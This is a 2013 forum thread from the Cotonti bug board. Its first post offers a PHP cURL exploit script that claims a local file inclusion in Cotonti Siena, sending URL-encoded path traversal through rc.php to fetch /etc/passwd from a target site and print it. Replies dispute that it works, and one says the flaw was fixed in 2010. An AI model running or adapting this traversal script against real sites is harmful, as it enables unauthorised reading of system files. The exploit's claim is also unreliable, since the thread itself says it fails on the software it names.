Форуми / Cotonti / Bugs / Siena LFI hacking

#1 17.02.2013 00:39
LFI attack Cotonti Siena LFI

*  Bug               :Cotonti Siena LFI
*  Author(Pentester) : FreWaL & Dr.Ly0n
*  Special Thanks    : Z0rLu, MaXtoR, MecTruy, Polonia, Monarchy, Eno7, RedWorm, R00tk!d, Harded, The_Mirkin and PUNISH3R all special user
$hedef  = "http://hedefsite.com";
$dosya  = ".%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2Fetc%2Fpassword";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL, "http://$hedef/rc.php?rc=".$dosya);
curl_setopt($curl, CURLOPT_HTTPGET, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($curl, CURLOPT_COOKIEJAR, "/tmp/cookie_$hedef");
$cikti = curl_exec ($curl);

echo $cikti;


Kurta sormuşlar senin ensen neden kalın ? diye, Kendi işimi kendim yaparımda ondan demiş...
#2 17.02.2013 06:18

This won't work on It seems like this has been the case for many versions before as well as far as I can tell.

edit: removed line that could be misread about the error that it would return

Відредаговано: Xerora (18.02.2013 19:16, 11 років тому)
#3 18.02.2013 08:43

does it work on previous Sienas? How to prevent it? Can I just delete this file?

#4 18.02.2013 18:24

Seriously, this was fixed in 2010. It is incorrect to say that is vulnerable.

May the Source be with you!